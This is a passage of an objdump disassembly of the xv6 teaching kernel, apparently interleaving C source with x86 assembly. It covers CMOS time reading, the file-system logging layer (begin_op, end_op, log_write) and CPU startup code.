"=a" (data) : "d" (port)); 80102834: b2 71 mov $0x71,%dl 80102836: ec in (%dx),%al 80102837: 88 45 b7 mov %al,-0x49(%ebp) 8010283a: 8d 5d b8 lea -0x48(%ebp),%ebx struct rtcdate t1, t2; int sb, bcd; sb = cmos_read(CMOS_STATB); bcd = (sb & (1 << 2)) == 0; 8010283d: 80 65 b7 04 andb $0x4,-0x49(%ebp) 80102841: 8d 7d d0 lea -0x30(%ebp),%edi 80102844: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi asm volatile("out %0,%1" : : "a" (data), "d" (port)); 80102848: be 70 00 00 00 mov $0x70,%esi // make sure CMOS doesn't modify time while we read it for(;;) { fill_rtcdate(&t1); 8010284d: 89 d8 mov %ebx,%eax 8010284f: e8 7c fd ff ff call 801025d0 <fill_rtcdate> 80102854: b8 0a 00 00 00 mov $0xa,%eax 80102859: 89 f2 mov %esi,%edx 8010285b: ee out %al,(%dx) asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 8010285c: ba 71 00 00 00 mov $0x71,%edx 80102861: ec in (%dx),%al if(cmos_read(CMOS_STATA) & CMOS_UIP) 80102862: 84 c0 test %al,%al 80102864: 78 e7 js 8010284d <cmostime+0x2d> continue; fill_rtcdate(&t2); 80102866: 89 f8 mov %edi,%eax 80102868: e8 63 fd ff ff call 801025d0 <fill_rtcdate> if(memcmp(&t1, &t2, sizeof(t1)) == 0) 8010286d: c7 44 24 08 18 00 00 movl $0x18,0x8(%esp) 80102874: 00 80102875: 89 7c 24 04 mov %edi,0x4(%esp) 80102879: 89 1c 24 mov %ebx,(%esp) 8010287c: e8 2f 1a 00 00 call 801042b0 <memcmp> 80102881: 85 c0 test %eax,%eax 80102883: 75 c3 jne 80102848 <cmostime+0x28> break; } // convert if(bcd) { 80102885: 80 7d b7 00 cmpb $0x0,-0x49(%ebp) 80102889: 75 78 jne 80102903 <cmostime+0xe3> #define CONV(x) (t1.x = ((t1.x >> 4) * 10) + (t1.x & 0xf)) CONV(second); 8010288b: 8b 45 b8 mov -0x48(%ebp),%eax 8010288e: 89 c2 mov %eax,%edx 80102890: 83 e0 0f and $0xf,%eax 80102893: c1 ea 04 shr $0x4,%edx 80102896: 8d 14 92 lea (%edx,%edx,4),%edx 80102899: 8d 04 50 lea (%eax,%edx,2),%eax 8010289c: 89 45 b8 mov %eax,-0x48(%ebp) CONV(minute); 8010289f: 8b 45 bc mov -0x44(%ebp),%eax 801028a2: 89 c2 mov %eax,%edx 801028a4: 83 e0 0f and $0xf,%eax 801028a7: c1 ea 04 shr $0x4,%edx 801028aa: 8d 14 92 lea (%edx,%edx,4),%edx 801028ad: 8d 04 50 lea (%eax,%edx,2),%eax 801028b0: 89 45 bc mov %eax,-0x44(%ebp) CONV(hour ); 801028b3: 8b 45 c0 mov -0x40(%ebp),%eax 801028b6: 89 c2 mov %eax,%edx 801028b8: 83 e0 0f and $0xf,%eax 801028bb: c1 ea 04 shr $0x4,%edx 801028be: 8d 14 92 lea (%edx,%edx,4),%edx 801028c1: 8d 04 50 lea (%eax,%edx,2),%eax 801028c4: 89 45 c0 mov %eax,-0x40(%ebp) CONV(day ); 801028c7: 8b 45 c4 mov -0x3c(%ebp),%eax 801028ca: 89 c2 mov %eax,%edx 801028cc: 83 e0 0f and $0xf,%eax 801028cf: c1 ea 04 shr $0x4,%edx 801028d2: 8d 14 92 lea (%edx,%edx,4),%edx 801028d5: 8d 04 50 lea (%eax,%edx,2),%eax 801028d8: 89 45 c4 mov %eax,-0x3c(%ebp) CONV(month ); 801028db: 8b 45 c8 mov -0x38(%ebp),%eax 801028de: 89 c2 mov %eax,%edx 801028e0: 83 e0 0f and $0xf,%eax 801028e3: c1 ea 04 shr $0x4,%edx 801028e6: 8d 14 92 lea (%edx,%edx,4),%edx 801028e9: 8d 04 50 lea (%eax,%edx,2),%eax 801028ec: 89 45 c8 mov %eax,-0x38(%ebp) CONV(year ); 801028ef: 8b 45 cc mov -0x34(%ebp),%eax 801028f2: 89 c2 mov %eax,%edx 801028f4: 83 e0 0f and $0xf,%eax 801028f7: c1 ea 04 shr $0x4,%edx 801028fa: 8d 14 92 lea (%edx,%edx,4),%edx 801028fd: 8d 04 50 lea (%eax,%edx,2),%eax 80102900: 89 45 cc mov %eax,-0x34(%ebp) #undef CONV } *r = t1; 80102903: 8b 4d 08 mov 0x8(%ebp),%ecx 80102906: 8b 45 b8 mov -0x48(%ebp),%eax 80102909: 89 01 mov %eax,(%ecx) 8010290b: 8b 45 bc mov -0x44(%ebp),%eax 8010290e: 89 41 04 mov %eax,0x4(%ecx) 80102911: 8b 45 c0 mov -0x40(%ebp),%eax 80102914: 89 41 08 mov %eax,0x8(%ecx) 80102917: 8b 45 c4 mov -0x3c(%ebp),%eax 8010291a: 89 41 0c mov %eax,0xc(%ecx) 8010291d: 8b 45 c8 mov -0x38(%ebp),%eax 80102920: 89 41 10 mov %eax,0x10(%ecx) 80102923: 8b 45 cc mov -0x34(%ebp),%eax 80102926: 89 41 14 mov %eax,0x14(%ecx) r->year += 2000; 80102929: 81 41 14 d0 07 00 00 addl $0x7d0,0x14(%ecx) } 80102930: 83 c4 4c add $0x4c,%esp 80102933: 5b pop %ebx 80102934: 5e pop %esi 80102935: 5f pop %edi 80102936: 5d pop %ebp 80102937: c3 ret 80102938: 66 90 xchg %ax,%ax 8010293a: 66 90 xchg %ax,%ax 8010293c: 66 90 xchg %ax,%ax 8010293e: 66 90 xchg %ax,%ax 80102940 <install_trans>: } // Copy committed blocks from log to their home location static void install_trans(void) { 80102940: 55 push %ebp 80102941: 89 e5 mov %esp,%ebp 80102943: 57 push %edi 80102944: 56 push %esi 80102945: 53 push %ebx int tail; for (tail = 0; tail < log.lh.n; tail++) { 80102946: 31 db xor %ebx,%ebx { 80102948: 83 ec 1c sub $0x1c,%esp for (tail = 0; tail < log.lh.n; tail++) { 8010294b: a1 c8 26 11 80 mov 0x801126c8,%eax 80102950: 85 c0 test %eax,%eax 80102952: 7e 78 jle 801029cc <install_trans+0x8c> 80102954: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi struct buf *lbuf = bread(log.dev, log.start+tail+1); // read log block 80102958: a1 b4 26 11 80 mov 0x801126b4,%eax 8010295d: 01 d8 add %ebx,%eax 8010295f: 83 c0 01 add $0x1,%eax 80102962: 89 44 24 04 mov %eax,0x4(%esp) 80102966: a1 c4 26 11 80 mov 0x801126c4,%eax 8010296b: 89 04 24 mov %eax,(%esp) 8010296e: e8 5d d7 ff ff call 801000d0 <bread> 80102973: 89 c7 mov %eax,%edi struct buf *dbuf = bread(log.dev, log.lh.block[tail]); // read dst 80102975: 8b 04 9d cc 26 11 80 mov -0x7feed934(,%ebx,4),%eax for (tail = 0; tail < log.lh.n; tail++) { 8010297c: 83 c3 01 add $0x1,%ebx struct buf *dbuf = bread(log.dev, log.lh.block[tail]); // read dst 8010297f: 89 44 24 04 mov %eax,0x4(%esp) 80102983: a1 c4 26 11 80 mov 0x801126c4,%eax 80102988: 89 04 24 mov %eax,(%esp) 8010298b: e8 40 d7 ff ff call 801000d0 <bread> memmove(dbuf->data, lbuf->data, BSIZE); // copy block to dst 80102990: c7 44 24 08 00 02 00 movl $0x200,0x8(%esp) 80102997: 00 struct buf *dbuf = bread(log.dev, log.lh.block[tail]); // read dst 80102998: 89 c6 mov %eax,%esi memmove(dbuf->data, lbuf->data, BSIZE); // copy block to dst 8010299a: 8d 47 5c lea 0x5c(%edi),%eax 8010299d: 89 44 24 04 mov %eax,0x4(%esp) 801029a1: 8d 46 5c lea 0x5c(%esi),%eax 801029a4: 89 04 24 mov %eax,(%esp) 801029a7: e8 54 19 00 00 call 80104300 <memmove> bwrite(dbuf); // write dst to disk 801029ac: 89 34 24 mov %esi,(%esp) 801029af: e8 ec d7 ff ff call 801001a0 <bwrite> brelse(lbuf); 801029b4: 89 3c 24 mov %edi,(%esp) 801029b7: e8 24 d8 ff ff call 801001e0 <brelse> brelse(dbuf); 801029bc: 89 34 24 mov %esi,(%esp) 801029bf: e8 1c d8 ff ff call 801001e0 <brelse> for (tail = 0; tail < log.lh.n; tail++) { 801029c4: 39 1d c8 26 11 80 cmp %ebx,0x801126c8 801029ca: 7f 8c jg 80102958 <install_trans+0x18> } } 801029cc: 83 c4 1c add $0x1c,%esp 801029cf: 5b pop %ebx 801029d0: 5e pop %esi 801029d1: 5f pop %edi 801029d2: 5d pop %ebp 801029d3: c3 ret 801029d4: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 801029da: 8d bf 00 00 00 00 lea 0x0(%edi),%edi 801029e0 <write_head>: // Write in-memory log header to disk. // This is the true point at which the // current transaction commits. static void write_head(void) { 801029e0: 55 push %ebp 801029e1: 89 e5 mov %esp,%ebp 801029e3: 57 push %edi 801029e4: 56 push %esi 801029e5: 53 push %ebx 801029e6: 83 ec 1c sub $0x1c,%esp struct buf *buf = bread(log.dev, log.start); 801029e9: a1 b4 26 11 80 mov 0x801126b4,%eax 801029ee: 89 44 24 04 mov %eax,0x4(%esp) 801029f2: a1 c4 26 11 80 mov 0x801126c4,%eax 801029f7: 89 04 24 mov %eax,(%esp) 801029fa: e8 d1 d6 ff ff call 801000d0 <bread> struct logheader *hb = (struct logheader *) (buf->data); int i; hb->n = log.lh.n; 801029ff: 8b 1d c8 26 11 80 mov 0x801126c8,%ebx for (i = 0; i < log.lh.n; i++) { 80102a05: 31 d2 xor %edx,%edx 80102a07: 85 db test %ebx,%ebx struct buf *buf = bread(log.dev, log.start); 80102a09: 89 c7 mov %eax,%edi hb->n = log.lh.n; 80102a0b: 89 58 5c mov %ebx,0x5c(%eax) 80102a0e: 8d 70 5c lea 0x5c(%eax),%esi for (i = 0; i < log.lh.n; i++) { 80102a11: 7e 17 jle 80102a2a <write_head+0x4a> 80102a13: 90 nop 80102a14: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi hb->block[i] = log.lh.block[i]; 80102a18: 8b 0c 95 cc 26 11 80 mov -0x7feed934(,%edx,4),%ecx 80102a1f: 89 4c 96 04 mov %ecx,0x4(%esi,%edx,4) for (i = 0; i < log.lh.n; i++) { 80102a23: 83 c2 01 add $0x1,%edx 80102a26: 39 da cmp %ebx,%edx 80102a28: 75 ee jne 80102a18 <write_head+0x38> } bwrite(buf); 80102a2a: 89 3c 24 mov %edi,(%esp) 80102a2d: e8 6e d7 ff ff call 801001a0 <bwrite> brelse(buf); 80102a32: 89 3c 24 mov %edi,(%esp) 80102a35: e8 a6 d7 ff ff call 801001e0 <brelse> } 80102a3a: 83 c4 1c add $0x1c,%esp 80102a3d: 5b pop %ebx 80102a3e: 5e pop %esi 80102a3f: 5f pop %edi 80102a40: 5d pop %ebp 80102a41: c3 ret 80102a42: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80102a49: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80102a50 <initlog>: { 80102a50: 55 push %ebp 80102a51: 89 e5 mov %esp,%ebp 80102a53: 56 push %esi 80102a54: 53 push %ebx 80102a55: 83 ec 30 sub $0x30,%esp 80102a58: 8b 5d 08 mov 0x8(%ebp),%ebx initlock(&log.lock, "log"); 80102a5b: c7 44 24 04 a0 72 10 movl $0x801072a0,0x4(%esp) 80102a62: 80 80102a63: c7 04 24 80 26 11 80 movl $0x80112680,(%esp) 80102a6a: e8 c1 15 00 00 call 80104030 <initlock> readsb(dev, &sb); 80102a6f: 8d 45 dc lea -0x24(%ebp),%eax 80102a72: 89 44 24 04 mov %eax,0x4(%esp) 80102a76: 89 1c 24 mov %ebx,(%esp) 80102a79: e8 f2 e8 ff ff call 80101370 <readsb> log.start = sb.logstart; 80102a7e: 8b 45 ec mov -0x14(%ebp),%eax log.size = sb.nlog; 80102a81: 8b 55 e8 mov -0x18(%ebp),%edx struct buf *buf = bread(log.dev, log.start); 80102a84: 89 1c 24 mov %ebx,(%esp) log.dev = dev; 80102a87: 89 1d c4 26 11 80 mov %ebx,0x801126c4 struct buf *buf = bread(log.dev, log.start); 80102a8d: 89 44 24 04 mov %eax,0x4(%esp) log.size = sb.nlog; 80102a91: 89 15 b8 26 11 80 mov %edx,0x801126b8 log.start = sb.logstart; 80102a97: a3 b4 26 11 80 mov %eax,0x801126b4 struct buf *buf = bread(log.dev, log.start); 80102a9c: e8 2f d6 ff ff call 801000d0 <bread> for (i = 0; i < log.lh.n; i++) { 80102aa1: 31 d2 xor %edx,%edx log.lh.n = lh->n; 80102aa3: 8b 58 5c mov 0x5c(%eax),%ebx 80102aa6: 8d 70 5c lea 0x5c(%eax),%esi for (i = 0; i < log.lh.n; i++) { 80102aa9: 85 db test %ebx,%ebx log.lh.n = lh->n; 80102aab: 89 1d c8 26 11 80 mov %ebx,0x801126c8 for (i = 0; i < log.lh.n; i++) { 80102ab1: 7e 17 jle 80102aca <initlog+0x7a> 80102ab3: 90 nop 80102ab4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi log.lh.block[i] = lh->block[i]; 80102ab8: 8b 4c 96 04 mov 0x4(%esi,%edx,4),%ecx 80102abc: 89 0c 95 cc 26 11 80 mov %ecx,-0x7feed934(,%edx,4) for (i = 0; i < log.lh.n; i++) { 80102ac3: 83 c2 01 add $0x1,%edx 80102ac6: 39 da cmp %ebx,%edx 80102ac8: 75 ee jne 80102ab8 <initlog+0x68> brelse(buf); 80102aca: 89 04 24 mov %eax,(%esp) 80102acd: e8 0e d7 ff ff call 801001e0 <brelse> static void recover_from_log(void) { read_head(); install_trans(); // if committed, copy from log to disk 80102ad2: e8 69 fe ff ff call 80102940 <install_trans> log.lh.n = 0; 80102ad7: c7 05 c8 26 11 80 00 movl $0x0,0x801126c8 80102ade: 00 00 00 write_head(); // clear the log 80102ae1: e8 fa fe ff ff call 801029e0 <write_head> } 80102ae6: 83 c4 30 add $0x30,%esp 80102ae9: 5b pop %ebx 80102aea: 5e pop %esi 80102aeb: 5d pop %ebp 80102aec: c3 ret 80102aed: 8d 76 00 lea 0x0(%esi),%esi 80102af0 <begin_op>: } // called at the start of each FS system call. void begin_op(void) { 80102af0: 55 push %ebp 80102af1: 89 e5 mov %esp,%ebp 80102af3: 83 ec 18 sub $0x18,%esp acquire(&log.lock); 80102af6: c7 04 24 80 26 11 80 movl $0x80112680,(%esp) 80102afd: e8 1e 16 00 00 call 80104120 <acquire> 80102b02: eb 18 jmp 80102b1c <begin_op+0x2c> 80102b04: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi while(1){ if(log.committing){ sleep(&log, &log.lock); 80102b08: c7 44 24 04 80 26 11 movl $0x80112680,0x4(%esp) 80102b0f: 80 80102b10: c7 04 24 80 26 11 80 movl $0x80112680,(%esp) 80102b17: e8 c4 10 00 00 call 80103be0 <sleep> if(log.committing){ 80102b1c: a1 c0 26 11 80 mov 0x801126c0,%eax 80102b21: 85 c0 test %eax,%eax 80102b23: 75 e3 jne 80102b08 <begin_op+0x18> } else if(log.lh.n + (log.outstanding+1)*MAXOPBLOCKS > LOGSIZE){ 80102b25: a1 bc 26 11 80 mov 0x801126bc,%eax 80102b2a: 8b 15 c8 26 11 80 mov 0x801126c8,%edx 80102b30: 83 c0 01 add $0x1,%eax 80102b33: 8d 0c 80 lea (%eax,%eax,4),%ecx 80102b36: 8d 14 4a lea (%edx,%ecx,2),%edx 80102b39: 83 fa 1e cmp $0x1e,%edx 80102b3c: 7f ca jg 80102b08 <begin_op+0x18> // this op might exhaust log space; wait for commit. sleep(&log, &log.lock); } else { log.outstanding += 1; release(&log.lock); 80102b3e: c7 04 24 80 26 11 80 movl $0x80112680,(%esp) log.outstanding += 1; 80102b45: a3 bc 26 11 80 mov %eax,0x801126bc release(&log.lock); 80102b4a: e8 c1 16 00 00 call 80104210 <release> break; } } } 80102b4f: c9 leave 80102b50: c3 ret 80102b51: eb 0d jmp 80102b60 <end_op> 80102b53: 90 nop 80102b54: 90 nop 80102b55: 90 nop 80102b56: 90 nop 80102b57: 90 nop 80102b58: 90 nop 80102b59: 90 nop 80102b5a: 90 nop 80102b5b: 90 nop 80102b5c: 90 nop 80102b5d: 90 nop 80102b5e: 90 nop 80102b5f: 90 nop 80102b60 <end_op>: // called at the end of each FS system call. // commits if this was the last outstanding operation. void end_op(void) { 80102b60: 55 push %ebp 80102b61: 89 e5 mov %esp,%ebp 80102b63: 57 push %edi 80102b64: 56 push %esi 80102b65: 53 push %ebx 80102b66: 83 ec 1c sub $0x1c,%esp int do_commit = 0; acquire(&log.lock); 80102b69: c7 04 24 80 26 11 80 movl $0x80112680,(%esp) 80102b70: e8 ab 15 00 00 call 80104120 <acquire> log.outstanding -= 1; 80102b75: a1 bc 26 11 80 mov 0x801126bc,%eax if(log.committing) 80102b7a: 8b 15 c0 26 11 80 mov 0x801126c0,%edx log.outstanding -= 1; 80102b80: 83 e8 01 sub $0x1,%eax if(log.committing) 80102b83: 85 d2 test %edx,%edx log.outstanding -= 1; 80102b85: a3 bc 26 11 80 mov %eax,0x801126bc if(log.committing) 80102b8a: 0f 85 f3 00 00 00 jne 80102c83 <end_op+0x123> panic("log.committing"); if(log.outstanding == 0){ 80102b90: 85 c0 test %eax,%eax 80102b92: 0f 85 cb 00 00 00 jne 80102c63 <end_op+0x103> // begin_op() may be waiting for log space, // and decrementing log.outstanding has decreased // the amount of reserved space. wakeup(&log); } release(&log.lock); 80102b98: c7 04 24 80 26 11 80 movl $0x80112680,(%esp) } static void commit() { if (log.lh.n > 0) { 80102b9f: 31 db xor %ebx,%ebx log.committing = 1; 80102ba1: c7 05 c0 26 11 80 01 movl $0x1,0x801126c0 80102ba8: 00 00 00 release(&log.lock); 80102bab: e8 60 16 00 00 call 80104210 <release> if (log.lh.n > 0) { 80102bb0: a1 c8 26 11 80 mov 0x801126c8,%eax 80102bb5: 85 c0 test %eax,%eax 80102bb7: 0f 8e 90 00 00 00 jle 80102c4d <end_op+0xed> 80102bbd: 8d 76 00 lea 0x0(%esi),%esi struct buf *to = bread(log.dev, log.start+tail+1); // log block 80102bc0: a1 b4 26 11 80 mov 0x801126b4,%eax 80102bc5: 01 d8 add %ebx,%eax 80102bc7: 83 c0 01 add $0x1,%eax 80102bca: 89 44 24 04 mov %eax,0x4(%esp) 80102bce: a1 c4 26 11 80 mov 0x801126c4,%eax 80102bd3: 89 04 24 mov %eax,(%esp) 80102bd6: e8 f5 d4 ff ff call 801000d0 <bread> 80102bdb: 89 c6 mov %eax,%esi struct buf *from = bread(log.dev, log.lh.block[tail]); // cache block 80102bdd: 8b 04 9d cc 26 11 80 mov -0x7feed934(,%ebx,4),%eax for (tail = 0; tail < log.lh.n; tail++) { 80102be4: 83 c3 01 add $0x1,%ebx struct buf *from = bread(log.dev, log.lh.block[tail]); // cache block 80102be7: 89 44 24 04 mov %eax,0x4(%esp) 80102beb: a1 c4 26 11 80 mov 0x801126c4,%eax 80102bf0: 89 04 24 mov %eax,(%esp) 80102bf3: e8 d8 d4 ff ff call 801000d0 <bread> memmove(to->data, from->data, BSIZE); 80102bf8: c7 44 24 08 00 02 00 movl $0x200,0x8(%esp) 80102bff: 00 struct buf *from = bread(log.dev, log.lh.block[tail]); // cache block 80102c00: 89 c7 mov %eax,%edi memmove(to->data, from->data, BSIZE); 80102c02: 8d 40 5c lea 0x5c(%eax),%eax 80102c05: 89 44 24 04 mov %eax,0x4(%esp) 80102c09: 8d 46 5c lea 0x5c(%esi),%eax 80102c0c: 89 04 24 mov %eax,(%esp) 80102c0f: e8 ec 16 00 00 call 80104300 <memmove> bwrite(to); // write the log 80102c14: 89 34 24 mov %esi,(%esp) 80102c17: e8 84 d5 ff ff call 801001a0 <bwrite> brelse(from); 80102c1c: 89 3c 24 mov %edi,(%esp) 80102c1f: e8 bc d5 ff ff call 801001e0 <brelse> brelse(to); 80102c24: 89 34 24 mov %esi,(%esp) 80102c27: e8 b4 d5 ff ff call 801001e0 <brelse> for (tail = 0; tail < log.lh.n; tail++) { 80102c2c: 3b 1d c8 26 11 80 cmp 0x801126c8,%ebx 80102c32: 7c 8c jl 80102bc0 <end_op+0x60> write_log(); // Write modified blocks from cache to log write_head(); // Write header to disk -- the real commit 80102c34: e8 a7 fd ff ff call 801029e0 <write_head> install_trans(); // Now install writes to home locations 80102c39: e8 02 fd ff ff call 80102940 <install_trans> log.lh.n = 0; 80102c3e: c7 05 c8 26 11 80 00 movl $0x0,0x801126c8 80102c45: 00 00 00 write_head(); // Erase the transaction from the log 80102c48: e8 93 fd ff ff call 801029e0 <write_head> acquire(&log.lock); 80102c4d: c7 04 24 80 26 11 80 movl $0x80112680,(%esp) 80102c54: e8 c7 14 00 00 call 80104120 <acquire> log.committing = 0; 80102c59: c7 05 c0 26 11 80 00 movl $0x0,0x801126c0 80102c60: 00 00 00 wakeup(&log); 80102c63: c7 04 24 80 26 11 80 movl $0x80112680,(%esp) 80102c6a: e8 01 11 00 00 call 80103d70 <wakeup> release(&log.lock); 80102c6f: c7 04 24 80 26 11 80 movl $0x80112680,(%esp) 80102c76: e8 95 15 00 00 call 80104210 <release> } 80102c7b: 83 c4 1c add $0x1c,%esp 80102c7e: 5b pop %ebx 80102c7f: 5e pop %esi 80102c80: 5f pop %edi 80102c81: 5d pop %ebp 80102c82: c3 ret panic("log.committing"); 80102c83: c7 04 24 a4 72 10 80 movl $0x801072a4,(%esp) 80102c8a: e8 d1 d6 ff ff call 80100360 <panic> 80102c8f: 90 nop 80102c90 <log_write>: // modify bp->data[] // log_write(bp) // brelse(bp) void log_write(struct buf *b) { 80102c90: 55 push %ebp 80102c91: 89 e5 mov %esp,%ebp 80102c93: 53 push %ebx 80102c94: 83 ec 14 sub $0x14,%esp int i; if (log.lh.n >= LOGSIZE || log.lh.n >= log.size - 1) 80102c97: a1 c8 26 11 80 mov 0x801126c8,%eax { 80102c9c: 8b 5d 08 mov 0x8(%ebp),%ebx if (log.lh.n >= LOGSIZE || log.lh.n >= log.size - 1) 80102c9f: 83 f8 1d cmp $0x1d,%eax 80102ca2: 0f 8f 98 00 00 00 jg 80102d40 <log_write+0xb0> 80102ca8: 8b 0d b8 26 11 80 mov 0x801126b8,%ecx 80102cae: 8d 51 ff lea -0x1(%ecx),%edx 80102cb1: 39 d0 cmp %edx,%eax 80102cb3: 0f 8d 87 00 00 00 jge 80102d40 <log_write+0xb0> panic("too big a transaction"); if (log.outstanding < 1) 80102cb9: a1 bc 26 11 80 mov 0x801126bc,%eax 80102cbe: 85 c0 test %eax,%eax 80102cc0: 0f 8e 86 00 00 00 jle 80102d4c <log_write+0xbc> panic("log_write outside of trans"); acquire(&log.lock); 80102cc6: c7 04 24 80 26 11 80 movl $0x80112680,(%esp) 80102ccd: e8 4e 14 00 00 call 80104120 <acquire> for (i = 0; i < log.lh.n; i++) { 80102cd2: 8b 15 c8 26 11 80 mov 0x801126c8,%edx 80102cd8: 83 fa 00 cmp $0x0,%edx 80102cdb: 7e 54 jle 80102d31 <log_write+0xa1> if (log.lh.block[i] == b->blockno) // log absorbtion 80102cdd: 8b 4b 08 mov 0x8(%ebx),%ecx for (i = 0; i < log.lh.n; i++) { 80102ce0: 31 c0 xor %eax,%eax if (log.lh.block[i] == b->blockno) // log absorbtion 80102ce2: 39 0d cc 26 11 80 cmp %ecx,0x801126cc 80102ce8: 75 0f jne 80102cf9 <log_write+0x69> 80102cea: eb 3c jmp 80102d28 <log_write+0x98> 80102cec: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80102cf0: 39 0c 85 cc 26 11 80 cmp %ecx,-0x7feed934(,%eax,4) 80102cf7: 74 2f je 80102d28 <log_write+0x98> for (i = 0; i < log.lh.n; i++) { 80102cf9: 83 c0 01 add $0x1,%eax 80102cfc: 39 d0 cmp %edx,%eax 80102cfe: 75 f0 jne 80102cf0 <log_write+0x60> break; } log.lh.block[i] = b->blockno; 80102d00: 89 0c 95 cc 26 11 80 mov %ecx,-0x7feed934(,%edx,4) if (i == log.lh.n) log.lh.n++; 80102d07: 83 c2 01 add $0x1,%edx 80102d0a: 89 15 c8 26 11 80 mov %edx,0x801126c8 b->flags |= B_DIRTY; // prevent eviction 80102d10: 83 0b 04 orl $0x4,(%ebx) release(&log.lock); 80102d13: c7 45 08 80 26 11 80 movl $0x80112680,0x8(%ebp) } 80102d1a: 83 c4 14 add $0x14,%esp 80102d1d: 5b pop %ebx 80102d1e: 5d pop %ebp release(&log.lock); 80102d1f: e9 ec 14 00 00 jmp 80104210 <release> 80102d24: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi log.lh.block[i] = b->blockno; 80102d28: 89 0c 85 cc 26 11 80 mov %ecx,-0x7feed934(,%eax,4) 80102d2f: eb df jmp 80102d10 <log_write+0x80> 80102d31: 8b 43 08 mov 0x8(%ebx),%eax 80102d34: a3 cc 26 11 80 mov %eax,0x801126cc if (i == log.lh.n) 80102d39: 75 d5 jne 80102d10 <log_write+0x80> 80102d3b: eb ca jmp 80102d07 <log_write+0x77> 80102d3d: 8d 76 00 lea 0x0(%esi),%esi panic("too big a transaction"); 80102d40: c7 04 24 b3 72 10 80 movl $0x801072b3,(%esp) 80102d47: e8 14 d6 ff ff call 80100360 <panic> panic("log_write outside of trans"); 80102d4c: c7 04 24 c9 72 10 80 movl $0x801072c9,(%esp) 80102d53: e8 08 d6 ff ff call 80100360 <panic> 80102d58: 66 90 xchg %ax,%ax 80102d5a: 66 90 xchg %ax,%ax 80102d5c: 66 90 xchg %ax,%ax 80102d5e: 66 90 xchg %ax,%ax 80102d60 <mpmain>: } // Common CPU setup code. static void mpmain(void) { 80102d60: 55 push %ebp 80102d61: 89 e5 mov %esp,%ebp 80102d63: 53 push %ebx 80102d64: 83 ec 14 sub $0x14,%esp cprintf("cpu%d: starting %d\n", cpuid(), cpuid()); 80102d67: e8 f4 08 00 00 call 80103660 <cpuid> 80102d6c: 89 c3 mov %eax,%ebx 80102d6e: e8 ed 08 00 00 call 80103660 <cpuid> 80102d73: 89 5c 24 08 mov %ebx,0x8(%esp) 80102d77: c7 04 24 e4 72 10 80 movl $0x801072e4,(%esp) 80102d7e: 89 44 24 04 mov %eax,0x4(%esp) 80102d82: e8 c9 d8 ff ff call 80100650 <cprintf> idtinit(); // load idt register 80102d87: e8 34 27 00 00 call 801054c0 <idtinit> xchg(&(mycpu()->started), 1); // tell startothers() we're up 80102d8c: e8 4f 08 00 00 call 801035e0 <mycpu> 80102d91: 89 c2 mov %eax,%edx xchg(volatile uint *addr, uint newval) { uint result; // The + in "+m" denotes a read-modify-write operand. asm volatile("lock; xchgl %0, %1" : 80102d93: b8 01 00 00 00 mov $0x1,%eax 80102d98: f0 87 82 a0 00 00 00 lock xchg %eax,0xa0(%edx) scheduler(); // start running processes 80102d9f: e8 9c 0b 00 00 call 80103940 <scheduler> 80102da4: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80102daa: 8d bf 00 00 00 00 lea 0x0(%edi),%edi 80102db0 <mpenter>: { 80102db0: 55 push %ebp 80102db1: 89 e5 mov %esp,%ebp 80102db3: 83 ec 08 sub $0x8,%esp switchkvm(); 80102db6: e8 45 38 00 00 call 80106600 <switchkvm> seginit(); 80102dbb: e8 00 37 00 00 call 801064c0 <seginit> lapicinit(); 80102dc0: e8 8b f8 ff ff call 80102650 <lapicinit> mpmain(); 80102dc5: e8 96 ff ff ff call 80102d60 <mpmain> 80102dca: 66 90 xchg %ax,%ax 80102dcc: 66 90 xchg %ax,%ax 80102dce: 66 90 xchg %ax,%ax 80102dd0 <main>: { 80102dd0: 55 push %ebp 80102dd1: 89 e5 mov %esp,%ebp 80102dd3: 53 push %ebx // The linker has placed the image of entryother.S in // _binary_entryother_start. code = P2V(0x7000); memmove(code, _binary_entryother_start, (uint)_binary_entryother_size); for(c = cpus; c < cpus+ncpu; c++){ 80102dd4: bb 80 27 11 80 mov $0x80112780,%ebx { 80102dd9: 83 e4 f0 and $0xfffffff0,%esp 80102ddc: 83 ec 10 sub $0x10,%esp kinit1(end, P2V(4*1024*1024)); // phys page allocator 80102ddf: c7 44 24 04 00 00 40 movl $0x80400000,0x4(%esp) 80102de6: 80 80102de7: c7 04 24 f4 58 11 80 movl $0x801158f4,(%esp) 80102dee: e8 cd f5 ff ff call 801023c0 <kinit1> kvmalloc(); // kernel page table 80102df3: e8 b8 3c 00 00 call 80106ab0 <kvmalloc> mpinit(); // detect other processors 80102df8: e8 73 01 00 00 call 80102f70 <mpinit> 80102dfd: 8d 76 00 lea 0x0(%esi),%esi lapicinit(); // interrupt controller 80102e00: e8 4b f8 ff ff call 80102650 <lapicinit> seginit(); // segment descriptors 80102e05: e8 b6 36 00 00 call 801064c0 <seginit> picinit(); // disable pic 80102e0a: e8 21 03 00 00 call 80103130 <picinit> 80102e0f: 90 nop ioapicinit(); // another interrupt controller 80102e10: e8 cb f3 ff ff call 801021e0 <ioapicinit> consoleinit(); // console hardware 80102e15: e8 36 db ff ff call 80100950 <consoleinit> uartinit(); // serial port 80102e1a: e8 41 2a 00 00 call 80105860 <uartinit> 80102e1f: 90 nop pinit(); // process table 80102e20: e8 9b 07 00 00 call 801035c0 <pinit> shminit(); // shared memory 80102e25: e8 46 3f 00 00 call 80106d70 <shminit> tvinit(); // trap vectors 80102e2a: e8 f1 25 00 00 call 80105420 <tvinit> 80102e2f: 90 nop binit(); // buffer cache 80102e30: e8 0b d2 ff ff call 80100040 <binit> fileinit(); // file table 80102e35: e8 e6 de ff ff call 80100d20 <fileinit> ideinit(); // disk 80102e3a: e8 a1 f1 ff ff call 80101fe0 <ideinit> memmove(code, _binary_entryother_start, (uint)_binary_entryother_size); 80102e3f: c7 44 24 08 8a 00 00 movl $0x8a,0x8(%esp) 80102e46: 00 80102e47: c7 44 24 04 8c a4 10 movl 